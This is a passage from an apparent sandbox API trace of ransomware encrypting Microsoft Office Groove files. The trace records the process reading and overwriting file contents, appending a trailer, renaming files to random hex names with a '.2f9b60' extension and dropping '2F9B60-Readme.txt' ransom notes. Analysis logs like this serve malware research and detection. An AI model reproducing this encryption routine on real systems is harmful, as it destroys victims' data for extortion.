Office\\Office14\\Groove\\Sounds\\Things\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\" [0224.753] wcscat (in: _Dest=0x20508630, _Source="COUPLER.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\COUPLER.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\COUPLER.WAV" [0226.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\COUPLER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\coupler.wav")) returned 0x20 [0226.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\COUPLER.WAV", dwFileAttributes=0x20) returned 1 [0226.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\COUPLER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\coupler.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x328c [0226.644] GetFileSizeEx (in: hFile=0x328c, lpFileSize=0x29a3f7c0 | out: lpFileSize=0x29a3f7c0*=40728) returned 1 [0226.644] SetFilePointerEx (in: hFile=0x328c, liDistanceToMove=0x9f14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.644] ReadFile (in: hFile=0x328c, lpBuffer=0x29a3f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29a3f788, lpOverlapped=0x0 | out: lpBuffer=0x29a3f740*, lpNumberOfBytesRead=0x29a3f788*=0x4, lpOverlapped=0x0) returned 1 [0226.669] SetFilePointerEx (in: hFile=0x328c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1640 [0226.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1670 [0226.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb29f0 [0226.671] NtQuerySystemTime (in: CurrentTime=0x29a3f680 | out: CurrentTime=0x29a3f680*=132462178306690000) returned 0x0 [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x520c289a [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x5edd0c3a [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x6ef0187d [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x523f0698 [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x3420c49e [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0xa9f3fa8 [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x4cabff5c [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x23fb049a [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x1dd60c54 [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x71c7a5b3 [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x5dd2adb [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x6f1e771e [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x11f600d5 [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x23cf0cc1 [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x496bdb98 [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x6bea4136 [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x46bbf11b [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x43fe2461 [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x36a12b75 [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x7ae393d3 [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x298bb183 [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x28d79915 [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x7397ad3b [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x3aaf5a71 [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x64411dd9 [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x41d8ae8 [0226.671] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x7ff6591d [0226.672] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x4727d692 [0226.672] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x58046e1a [0226.672] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x6485e8c [0226.672] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x791ba145 [0226.672] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x7978dc77 [0226.672] SetFilePointerEx (in: hFile=0x328c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.673] ReadFile (in: hFile=0x328c, lpBuffer=0x42450190, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x29a3f6e0, lpOverlapped=0x0 | out: lpBuffer=0x42450190*, lpNumberOfBytesRead=0x29a3f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0226.753] SetFilePointerEx (in: hFile=0x328c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61970 [0226.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868f40 [0226.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d30 [0226.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7d30) returned 1 [0226.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4246a600 [0226.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d30 [0226.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6d70 [0226.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6d70) returned 1 [0226.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868f40) returned 1 [0226.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61970) returned 1 [0226.758] WriteFile (in: hFile=0x328c, lpBuffer=0x4246a600*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x29a3f6e0, lpOverlapped=0x0 | out: lpBuffer=0x4246a600*, lpNumberOfBytesWritten=0x29a3f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0227.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4246a600) returned 1 [0227.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42450190) returned 1 [0227.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20264f80 [0227.300] SetFilePointerEx (in: hFile=0x328c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0227.300] WriteFile (in: hFile=0x328c, lpBuffer=0x431a93e0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x29a3f790, lpOverlapped=0x0 | out: lpBuffer=0x431a93e0*, lpNumberOfBytesWritten=0x29a3f790*=0x108, lpOverlapped=0x0) returned 1 [0235.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0235.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0235.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d306e0 [0235.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d306e0) returned 1 [0235.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0235.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d306e0 [0235.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d306b0 [0235.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d306b0) returned 1 [0235.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0235.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0235.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7a96a0 [0235.195] sprintf (in: _Dest=0x1b7a96a0, _Format="%c%c" | out: _Dest="46") returned 2 [0235.195] sprintf (in: _Dest=0x1b7a96a2, _Format="%c%c" | out: _Dest="11") returned 2 [0235.195] sprintf (in: _Dest=0x1b7a96a4, _Format="%c%c" | out: _Dest="68") returned 2 [0235.195] sprintf (in: _Dest=0x1b7a96a6, _Format="%c%c" | out: _Dest="79") returned 2 [0235.195] sprintf (in: _Dest=0x1b7a96a8, _Format="%c%c" | out: _Dest="89") returned 2 [0235.195] sprintf (in: _Dest=0x1b7a96aa, _Format="%c%c" | out: _Dest="6e") returned 2 [0235.195] sprintf (in: _Dest=0x1b7a96ac, _Format="%c%c" | out: _Dest="5c") returned 2 [0235.195] sprintf (in: _Dest=0x1b7a96ae, _Format="%c%c" | out: _Dest="3a") returned 2 [0235.195] sprintf (in: _Dest=0x1b7a96b0, _Format="%c%c" | out: _Dest="24") returned 2 [0235.195] sprintf (in: _Dest=0x1b7a96b2, _Format="%c%c" | out: _Dest="37") returned 2 [0235.195] sprintf (in: _Dest=0x1b7a96b4, _Format="%c%c" | out: _Dest="95") returned 2 [0235.195] sprintf (in: _Dest=0x1b7a96b6, _Format="%c%c" | out: _Dest="eb") returned 2 [0235.195] sprintf (in: _Dest=0x1b7a96b8, _Format="%c%c" | out: _Dest="40") returned 2 [0235.195] sprintf (in: _Dest=0x1b7a96ba, _Format="%c%c" | out: _Dest="36") returned 2 [0235.195] sprintf (in: _Dest=0x1b7a96bc, _Format="%c%c" | out: _Dest="62") returned 2 [0235.195] sprintf (in: _Dest=0x1b7a96be, _Format="%c%c" | out: _Dest="54") returned 2 [0235.195] sprintf (in: _Dest=0x1b7a96c0, _Format="%c%c" | out: _Dest="e5") returned 2 [0235.195] sprintf (in: _Dest=0x1b7a96c2, _Format="%c%c" | out: _Dest="46") returned 2 [0235.195] sprintf (in: _Dest=0x1b7a96c4, _Format="%c%c" | out: _Dest="d7") returned 2 [0235.195] sprintf (in: _Dest=0x1b7a96c6, _Format="%c%c" | out: _Dest="3e") returned 2 [0235.195] sprintf (in: _Dest=0x1b7a96c8, _Format="%c%c" | out: _Dest="30") returned 2 [0235.195] sprintf (in: _Dest=0x1b7a96ca, _Format="%c%c" | out: _Dest="8a") returned 2 [0235.195] RtlInitAnsiString (in: DestinationString=0x29a3f808, SourceString="46116879896e5c3a243795eb40366254e546d73e308a" | out: DestinationString="46116879896e5c3a243795eb40366254e546d73e308a") [0235.195] RtlAnsiStringToUnicodeString (in: DestinationString=0x29a3f7d8, SourceString="46116879896e5c3a243795eb40366254e546d73e308a", AllocateDestinationString=1 | out: DestinationString="46116879896e5c3a243795eb40366254e546d73e308a") returned 0x0 [0235.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1cddf830 [0235.196] wcscat (in: _Dest=0x1ce17420, _Source="46116879896" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\46116879896") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\46116879896" [0235.196] wcscat (in: _Dest=0x1ce17420, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\46116879896.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\46116879896.2f9b60" [0235.196] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\46116879896.2f9b60", NtPathName=0x29a3f7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\46116879896.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205f5d0 [0236.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205f5d0) returned 1 [0236.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4320a3d0) returned 1 [0236.693] NtQueryInformationFile (in: FileHandle=0x328c, IoStatusBlock=0x29a3f818, FileInformation=0x29a3f828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29a3f818, FileInformation=0x29a3f828) returned 0x0 [0236.693] NtSetInformationFile (FileHandle=0x328c, IoStatusBlock=0x29a3f818, FileInformation=0x29a3f828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0236.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce17420) returned 1 [0236.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddf830) returned 1 [0236.970] FlushFileBuffers (hFile=0x328c) returned 1 [0238.190] CloseHandle (hObject=0x328c) returned 1 [0240.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b862ca0 [0240.523] wcscpy (in: _Dest=0x1b862ca0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\" [0240.523] wcscat (in: _Dest=0x1b862ca0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\2F9B60-Readme.txt" [0240.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\2f9b60-readme.txt")) returned 0x20 [0240.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862ca0) returned 1 [0240.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508630) returned 1 [0240.524] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa412, dwReserved0=0x0, dwReserved1=0x0, cFileName="HORN.WAV", cAlternateFileName="")) returned 1 [0240.524] wcscmp (_String1="HORN.WAV", _String2=".") returned 1 [0240.524] wcscmp (_String1="HORN.WAV", _String2="..") returned 1 [0240.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20508630 [0240.525] wcscpy (in: _Dest=0x20508630, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" [0240.525] wcscat (in: _Dest=0x20508630, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\" [0240.525] wcscat (in: _Dest=0x20508630, _Source="HORN.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\HORN.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\HORN.WAV" [0240.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20508630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3280 [0240.529] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHOT.WAV", cAlternateFileName="")) returned 1 [0240.529] wcscmp (_String1="SHOT.WAV", _String2=".") returned 1 [0240.529] wcscmp (_String1="SHOT.WAV", _String2="..") returned 1 [0240.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20507eb0 [0240.529] wcscpy (in: _Dest=0x20507eb0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" [0240.529] wcscat (in: _Dest=0x20507eb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\" [0240.529] wcscat (in: _Dest=0x20507eb0, _Source="SHOT.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOT.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOT.WAV" [0240.529] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507eb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29f8 [0240.531] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf548, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHOVEL.WAV", cAlternateFileName="")) returned 1 [0240.531] wcscmp (_String1="SHOVEL.WAV", _String2=".") returned 1 [0240.531] wcscmp (_String1="SHOVEL.WAV", _String2="..") returned 1 [0240.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x205086d0 [0240.531] wcscpy (in: _Dest=0x205086d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" [0240.531] wcscat (in: _Dest=0x205086d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\" [0240.532] wcscat (in: _Dest=0x205086d0, _Source="SHOVEL.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOVEL.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOVEL.WAV" [0240.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205086d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2fe4 [0240.533] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xedd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPLASH.WAV", cAlternateFileName="")) returned 1 [0240.533] wcscmp (_String1="SPLASH.WAV", _String2=".") returned 1 [0240.533] wcscmp (_String1="SPLASH.WAV", _String2="..") returned 1 [0240.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x205079b0 [0240.534] wcscpy (in: _Dest=0x205079b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" [0240.534] wcscat (in: _Dest=0x205079b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\" [0240.534] wcscat (in: _Dest=0x205079b0, _Source="SPLASH.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SPLASH.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SPLASH.WAV" [0240.534] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205079b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x313c [0240.534] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x537fcc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6bbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHOOSH.WAV", cAlternateFileName="")) returned 1 [0240.535] wcscmp (_String1="WHOOSH.WAV", _String2=".") returned 1 [0240.535] wcscmp (_String1="WHOOSH.WAV", _String2="..") returned 1 [0240.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x20507910 [0240.535] wcscpy (in: _Dest=0x20507910, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" [0240.535] wcscat (in: _Dest=0x20507910, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\" [0240.535] wcscat (in: _Dest=0x20507910, _Source="WHOOSH.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\WHOOSH.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\WHOOSH.WAV" [0240.535] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x309c [0240.536] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x537fcc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6bbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHOOSH.WAV", cAlternateFileName="")) returned 0 [0240.536] FindClose (in: hFindFile=0x1b7ceb80 | out: hFindFile=0x1b7ceb80) returned 1 [0240.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e950) returned 1 [0240.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a57c0) returned 1 [0240.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af220) returned 1 Thread: id = 1810 os_tid = 0xcd8 [0132.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimages.jpg")) returned 0x20 [0132.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg", dwFileAttributes=0x20) returned 1 [0132.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimages.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1aec [0132.377] GetFileSizeEx (in: hFile=0x1aec, lpFileSize=0x252cf940 | out: lpFileSize=0x252cf940*=5321) returned 1 [0132.378] SetFilePointerEx (in: hFile=0x1aec, liDistanceToMove=0x14c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.378] ReadFile (in: hFile=0x1aec, lpBuffer=0x252cf8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x252cf908, lpOverlapped=0x0 | out: lpBuffer=0x252cf8c0*, lpNumberOfBytesRead=0x252cf908*=0x4, lpOverlapped=0x0) returned 1 [0132.380] SetFilePointerEx (in: hFile=0x1aec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669c0 [0132.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266bd0 [0132.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266c60 [0132.380] NtQuerySystemTime (in: CurrentTime=0x252cf800 | out: CurrentTime=0x252cf800*=132462177376150000) returned 0x0 [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x39eed3a9 [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x64e73dfb [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) 